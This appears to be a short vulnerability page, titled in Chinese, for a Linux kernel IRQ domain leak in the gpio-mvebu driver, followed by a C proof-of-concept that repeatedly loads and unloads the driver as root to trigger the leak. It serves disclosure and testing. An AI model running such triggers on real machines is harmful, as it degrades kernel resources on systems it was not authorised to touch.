CVE-2023-53579：Linux内核gpio-mvebu驱动IRQ域资源泄漏漏洞

/* CVE-2023-53579 PoC - gpio-mvebu IRQ domain leak * This PoC demonstrates triggering the IRQ domain leak * by repeatedly loading and unloading the gpio-mvebu driver. * Requires: gpio-mvebu compatible hardware (Marvell mvebu SoC) * and local user access with module loading privileges. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #define ITERATIONS 1000 #define DRIVER_NAME "gpio_mvebu" /* Execute a shell command and return its exit status */ int exec_cmd(const char *cmd) { int ret = system(cmd); return WEXITSTATUS(ret); } /* Trigger the IRQ domain leak by repeatedly modprobing the driver */ int trigger_leak(void) { int i; printf("[+] Starting IRQ domain leak trigger for %s...\n", DRIVER_NAME); for (i = 0; i < ITERATIONS; i++) { /* Load the driver */ if (exec_cmd("modprobe gpio_mvebu 2>/dev/null") != 0) { fprintf(stderr, "[-] Failed to load driver at iteration %d\n", i); /* Try to continue - driver may already be loaded */ } /* Immediately unload to trigger the leak on detach */ exec_cmd("modprobe -r gpio_mvebu 2>/dev/null"); if (i % 100 == 0) { printf("[+] Completed %d/%d iterations\n", i, ITERATIONS); } } printf("[+] Leak trigger completed. Check kernel logs and IRQ domain count.\n"); printf("[+] Run: cat /proc/interrupts | grep -c mvebu\n"); return 0; } int main(int argc, char *argv[]) { /* Check if running as root or with appropriate privileges */ if (getuid() != 0) { fprintf(stderr, "[-] This PoC requires root privileges to load/unload modules\n"); return 1; } printf("=== CVE-2023-53579 gpio-mvebu IRQ Domain Leak PoC ===\n"); trigger_leak(); return 0; }